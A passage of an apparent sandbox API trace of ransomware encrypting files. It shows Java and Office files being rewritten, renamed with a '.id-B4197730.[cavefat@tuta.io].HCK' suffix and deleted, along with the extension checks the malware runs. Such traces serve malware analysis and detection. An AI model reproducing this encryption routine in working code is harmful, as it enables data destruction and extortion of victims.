Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 0x20 [0225.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.382] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0225.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0225.382] lstrlenW (lpString=".doc") returned 4 [0225.382] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0225.382] lstrlenW (lpString=".docx") returned 5 [0225.382] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0225.382] lstrlenW (lpString=".pdf") returned 4 [0225.382] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0225.382] lstrlenW (lpString=".xls") returned 4 [0225.382] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0225.382] lstrlenW (lpString=".xlsx") returned 5 [0225.382] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0225.382] lstrlenW (lpString=".ppt") returned 4 [0225.382] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0225.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0225.382] lstrlenW (lpString=".zip") returned 4 [0225.382] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0225.382] lstrlenW (lpString=".rar") returned 4 [0225.382] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0225.382] lstrlenW (lpString=".bz2") returned 4 [0225.382] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0225.382] lstrlenW (lpString=".7z") returned 3 [0225.382] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0225.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0225.382] lstrlenW (lpString=".dbf") returned 4 [0225.382] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0225.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0229.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0229.350] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0229.351] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fc64 | out: lpNewFilePointer=0x0) returned 1 [0229.351] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fc24 | out: lpNewFilePointer=0x0) returned 1 [0229.351] ReadFile (in: hFile=0x43c, lpBuffer=0x39c3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1fc30, lpOverlapped=0x0 | out: lpBuffer=0x39c3058*, lpNumberOfBytesRead=0x2d1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0229.353] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fc24 | out: lpNewFilePointer=0x0) returned 1 [0229.353] ReadFile (in: hFile=0x43c, lpBuffer=0x3a03058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a03058*, lpNumberOfBytesRead=0x2d1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0229.357] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d1fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.357] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fc24 | out: lpNewFilePointer=0x0) returned 1 [0229.357] ReadFile (in: hFile=0x43c, lpBuffer=0x3a43058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a43058*, lpNumberOfBytesRead=0x2d1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0229.486] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.486] WriteFile (in: hFile=0x43c, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2d1fca8, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fca8*=0xc0102, lpOverlapped=0x0) returned 1 [0229.498] SetEndOfFile (hFile=0x43c) returned 1 [0229.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x41914a8 [0229.501] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fc74 | out: lpNewFilePointer=0x0) returned 1 [0229.501] WriteFile (in: hFile=0x43c, lpBuffer=0x41914a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1fc80, lpOverlapped=0x0 | out: lpBuffer=0x41914a8*, lpNumberOfBytesWritten=0x2d1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0229.502] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fc74 | out: lpNewFilePointer=0x0) returned 1 [0229.502] WriteFile (in: hFile=0x43c, lpBuffer=0x41914a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1fc80, lpOverlapped=0x0 | out: lpBuffer=0x41914a8*, lpNumberOfBytesWritten=0x2d1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0229.506] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fc74 | out: lpNewFilePointer=0x0) returned 1 [0229.506] WriteFile (in: hFile=0x43c, lpBuffer=0x41914a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1fc80, lpOverlapped=0x0 | out: lpBuffer=0x41914a8*, lpNumberOfBytesWritten=0x2d1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0229.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0229.507] CloseHandle (hObject=0x43c) returned 1 [0229.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x21) returned 1 [0229.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0229.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0229.607] lstrlenW (lpString=".doc") returned 4 [0229.607] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0229.607] lstrlenW (lpString=".docx") returned 5 [0229.607] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0229.607] lstrlenW (lpString=".pdf") returned 4 [0229.607] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0229.607] lstrlenW (lpString=".xls") returned 4 [0229.607] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0229.607] lstrlenW (lpString=".xlsx") returned 5 [0229.607] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0229.607] lstrlenW (lpString=".ppt") returned 4 [0229.607] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0229.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0229.607] lstrlenW (lpString=".zip") returned 4 [0229.607] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0229.607] lstrlenW (lpString=".rar") returned 4 [0229.607] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0229.607] lstrlenW (lpString=".bz2") returned 4 [0229.607] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0229.607] lstrlenW (lpString=".7z") returned 3 [0229.607] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0229.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0229.607] lstrlenW (lpString=".dbf") returned 4 [0229.608] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0229.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0229.608] lstrlenW (lpString=".1cd") returned 4 [0229.608] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0229.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0229.608] lstrlenW (lpString=".jpg") returned 4 [0229.608] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0229.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0229.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0229.608] lstrlenW (lpString=".doc") returned 4 [0229.608] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0229.608] lstrlenW (lpString=".docx") returned 5 [0229.608] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0229.608] lstrlenW (lpString=".pdf") returned 4 [0229.608] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0229.608] lstrlenW (lpString=".xls") returned 4 [0229.608] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0229.608] lstrlenW (lpString=".xlsx") returned 5 [0229.608] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0229.608] lstrlenW (lpString=".ppt") returned 4 [0229.608] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0229.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0229.608] lstrlenW (lpString=".zip") returned 4 [0229.608] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0229.608] lstrlenW (lpString=".rar") returned 4 [0229.608] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0229.608] lstrlenW (lpString=".bz2") returned 4 [0229.608] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0229.608] lstrlenW (lpString=".7z") returned 3 [0229.608] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0229.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0229.608] lstrlenW (lpString=".dbf") returned 4 [0229.608] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0229.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0229.608] lstrlenW (lpString=".1cd") returned 4 [0229.608] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0229.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0229.608] lstrlenW (lpString=".jpg") returned 4 [0229.608] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0229.608] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0229.609] lstrlenW (lpString="CARBN_01.MID") returned 12 [0229.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.854] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=9322) returned 1 [0229.854] CloseHandle (hObject=0x534) returned 1 [0229.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220 [0229.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.884] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.884] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.925] GetLastError () returned 0x0 [0229.925] ReadFile (in: hFile=0x4a8, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x246a, lpOverlapped=0x0) returned 1 [0229.928] WriteFile (in: hFile=0x4c0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2470, lpOverlapped=0x0) returned 1 [0229.928] ReadFile (in: hFile=0x4a8, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.928] WriteFile (in: hFile=0x4c0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.928] SetEndOfFile (hFile=0x4c0) returned 1 [0229.929] CloseHandle (hObject=0x4c0) returned 1 [0229.929] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.929] SetEndOfFile (hFile=0x4a8) returned 1 [0229.932] CloseHandle (hObject=0x4a8) returned 1 [0229.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0230.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0230.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0230.193] lstrlenW (lpString=".doc") returned 4 [0230.193] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.193] lstrlenW (lpString=".docx") returned 5 [0230.193] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.193] lstrlenW (lpString=".pdf") returned 4 [0230.193] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.193] lstrlenW (lpString=".xls") returned 4 [0230.193] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.193] lstrlenW (lpString=".xlsx") returned 5 [0230.193] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.193] lstrlenW (lpString=".ppt") returned 4 [0230.193] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0230.193] lstrlenW (lpString=".zip") returned 4 [0230.193] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.193] lstrlenW (lpString=".rar") returned 4 [0230.193] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.193] lstrlenW (lpString=".bz2") returned 4 [0230.193] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.193] lstrlenW (lpString=".7z") returned 3 [0230.193] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0230.193] lstrlenW (lpString=".dbf") returned 4 [0230.193] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0230.193] lstrlenW (lpString=".1cd") returned 4 [0230.193] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0230.193] lstrlenW (lpString=".jpg") returned 4 [0230.193] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0230.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0230.193] lstrlenW (lpString=".doc") returned 4 [0230.193] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.193] lstrlenW (lpString=".docx") returned 5 [0230.193] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.193] lstrlenW (lpString=".pdf") returned 4 [0230.193] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.193] lstrlenW (lpString=".xls") returned 4 [0230.193] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.193] lstrlenW (lpString=".xlsx") returned 5 [0230.193] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.193] lstrlenW (lpString=".ppt") returned 4 [0230.194] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0230.194] lstrlenW (lpString=".zip") returned 4 [0230.194] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.194] lstrlenW (lpString=".rar") returned 4 [0230.194] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.194] lstrlenW (lpString=".bz2") returned 4 [0230.194] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.194] lstrlenW (lpString=".7z") returned 3 [0230.194] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0230.194] lstrlenW (lpString=".dbf") returned 4 [0230.194] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0230.194] lstrlenW (lpString=".1cd") returned 4 [0230.194] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0230.194] lstrlenW (lpString=".jpg") returned 4 [0230.194] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.194] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.194] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0230.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.195] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5440) returned 1 [0230.195] CloseHandle (hObject=0x54c) returned 1 [0230.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 0x220 [0230.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.195] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.196] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.196] GetLastError () returned 0x0 [0230.196] ReadFile (in: hFile=0x54c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x1540, lpOverlapped=0x0) returned 1 [0230.198] WriteFile (in: hFile=0x544, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1550, lpOverlapped=0x0) returned 1 [0230.201] ReadFile (in: hFile=0x54c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.201] WriteFile (in: hFile=0x544, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.201] SetEndOfFile (hFile=0x544) returned 1 [0230.201] CloseHandle (hObject=0x544) returned 1 [0230.201] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.201] SetEndOfFile (hFile=0x54c) returned 1 [0230.203] CloseHandle (hObject=0x54c) returned 1 [0230.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0230.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0230.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0230.204] lstrlenW (lpString=".doc") returned 4 [0230.204] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.204] lstrlenW (lpString=".docx") returned 5 [0230.204] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.204] lstrlenW (lpString=".pdf") returned 4 [0230.204] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.204] lstrlenW (lpString=".xls") returned 4 [0230.204] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.204] lstrlenW (lpString=".xlsx") returned 5 [0230.204] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.204] lstrlenW (lpString=".ppt") returned 4 [0230.204] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0230.204] lstrlenW (lpString=".zip") returned 4 [0230.204] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.204] lstrlenW (lpString=".rar") returned 4 [0230.204] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.204] lstrlenW (lpString=".bz2") returned 4 [0230.204] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.204] lstrlenW (lpString=".7z") returned 3 [0230.204] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0230.204] lstrlenW (lpString=".dbf") returned 4 [0230.204] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0230.204] lstrlenW (lpString=".1cd") returned 